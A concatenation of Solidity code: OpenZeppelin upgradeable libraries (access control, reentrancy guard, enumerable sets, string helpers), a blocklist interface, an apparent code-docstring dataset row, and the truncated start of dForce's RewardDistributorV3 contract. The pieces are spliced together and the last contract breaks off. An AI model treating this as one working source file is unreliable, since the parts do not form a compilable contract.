function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
interface IBlocklist {
function inBlockList(address _user) external returns (bool _isInBlocklist);
}
| Block/unblock a user from winning during prize distribution. Block/unblock a user from winning award in prize distribution by updating the isBlocklisted mapping. _user Address of blocked user _isBlocked Blocked Status (true or false) of user/ | function _setBlocklisted(address _user, bool _isBlocked) internal {
isBlocklisted[_user] = _isBlocked;
emit BlocklistSet(_user, _isBlocked);
}
| 9,902,068 |
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "./interface/IiToken.sol";
import "./interface/IRewardDistributorV3.sol";
import "./interface/IPriceOracle.sol";
import "./library/Initializable.sol";
import "./library/Ownable.sol";
import "./library/SafeRatioMath.sol";
import "./Controller.sol";
/**
* @title dForce's lending reward distributor Contract
* @author dForce
*/
contract RewardDistributorV3 is Initializable, Ownable, IRewardDistributorV3 {
using SafeRatioMath for uint256;
using SafeMathUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
/// @notice the controller
Controller public controller;
/// @notice the global Reward distribution speed
uint256 public globalDistributionSpeed;
/// @notice the Reward distribution speed of each iToken
mapping(address => uint256) public distributionSpeed;
/// @notice the Reward distribution factor of each iToken, 1.0 by default. stored as a mantissa
mapping(address => uint256) public distributionFactorMantissa;
struct DistributionState {
// Token's last updated index, stored as a mantissa
uint256 index;
// The block number the index was last updated at
uint256 block;
}
/// @notice the Reward distribution supply state of each iToken
mapping(address => DistributionState) public distributionSupplyState;
/// @notice the Reward distribution borrow state of each iToken
mapping(address => DistributionState) public distributionBorrowState;
/// @notice the Reward distribution state of each account of each iToken
mapping(address => mapping(address => uint256))
public distributionSupplierIndex;
/// @notice the Reward distribution state of each account of each iToken
mapping(address => mapping(address => uint256))
public distributionBorrowerIndex;
/// @notice the Reward distributed into each account
mapping(address => uint256) public reward;
/// @notice the Reward token address
address public rewardToken;
/// @notice whether the reward distribution is paused
bool public paused;
/// @notice the Reward distribution speed supply side of each iToken
mapping(address => uint256) public distributionSupplySpeed;
/// @notice the global Reward distribution speed for supply
uint256 public globalDistributionSupplySpeed;
/**
* @dev Throws if called by any account other than the controller.
*/
modifier onlyController() {
require(
address(controller) == msg.sender,
"onlyController: caller is not the controller"
);
_;
}
/**
* @notice Initializes the contract.
*/
function initialize(Controller _controller) external initializer {
require(
address(_controller) != address(0),
"initialize: controller address should not be zero address!"
);
__Ownable_init();
controller = _controller;
